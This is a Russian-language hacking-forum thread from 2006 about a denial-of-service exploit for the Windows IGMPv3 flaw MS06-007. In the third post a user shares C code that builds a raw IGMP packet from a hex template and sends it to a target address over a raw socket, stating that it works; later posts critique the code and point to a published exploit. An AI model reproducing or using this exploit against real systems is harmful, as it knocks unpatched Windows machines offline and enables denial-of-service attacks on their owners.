(IGMP v3) Denial of Service Exploit (MS06-007)

Discussion in 'Безопасность и Анонимность' started by c411k, 21 Mar 2006.

  1. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    _________________________
  2. tclover

    tclover nobody

    Joined:
    13 Dec 2005
    Messages:
    741
    Likes Received:
    682
    Reputations:
    287
  3. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    хахаха
    ребят, я конечно все понимаю, но посмотреть снифером пакет и потом его послать - не особо сложно... Вот что я сделал - работает:

    Code:
    static char IgmpTemplate[] =
    "\x47\x00\x00\x2c\x00\x64\x00\x00\x80\x02"
    "\x24\x63\x0a\x00\x00\x01\x0a\x00\x00\x09"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x11\x05"
    "\x04\xef\xe0\x00\x00\x01\x00\x00\x00\x01"
    "\x0a\x00\x00\x09";
    
    int seq_no = 0;
    
    void Igmp_Fill( char *buf, DWORD src_ip, DWORD dst_ip )
    {
    	_memcpy( buf, IgmpTemplate, 44 );
    	ipheader *iph = (ipheader*)buf;
    	iph->ip_sum   = 0;
    	iph->ip_dst   = src_ip+1;
    	if (!src_ip) src_ip = (rand() << 16) | rand();
    	iph->ip_src   = src_ip;
    	iph->ip_id    = seq_no++;
    }
    
    int IgmpExploit( DWORD src_ip, DWORD dst_ip )
    {
    	SOCKET s = _socket( PF_INET, SOCK_RAW, IPPROTO_RAW );	
    	if (s == INVALID_SOCKET) return 0;
    
    	int bOpt = 0;
    	if (_setsockopt( s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof( bOpt ) ) == SOCKET_ERROR)
    		return 0;
    
    	if (!dst_ip) return 1;
    
    	sockaddr_in s_a;
    	s_a.sin_family = AF_INET;
    	s_a.sin_addr.s_addr = dst_ip;
    
    	char packet[44];
    	_memset( packet, 0, 44 );
    
    	Igmp_Fill( packet, src_ip, dst_ip );
    	if (_sendto( s, packet, 44, 0, (struct sockaddr*)&s_a, sizeof( s_a ) ) == SOCKET_ERROR)
    		return 2;
    
    	_closesocket( s );
    
    	return 3;
    }
    
    кто хоть чтото понял - разбереться в антиламере
     
    #3 KEZ, 22 Mar 2006
    Last edited: 22 Mar 2006
  4. grinay

    grinay IQ- 137%

    Joined:
    15 Jun 2004
    Messages:
    409
    Likes Received:
    174
    Reputations:
    305
    Блин кез не в обиду какая то у тебя манера странная написания сплоитов:)
    iph->ip_sum = 0;
    iph->ip_dst = src_ip+1;
    if (!src_ip) src_ip = (rand() << 16) | rand();
    чЕ ЗА НА:)
     
  5. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
  6. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Непонял, что тебе не понравилось в это фрагменте?

    http://milw0rm.com/exploits/1599 - у меня помоему покороче будет...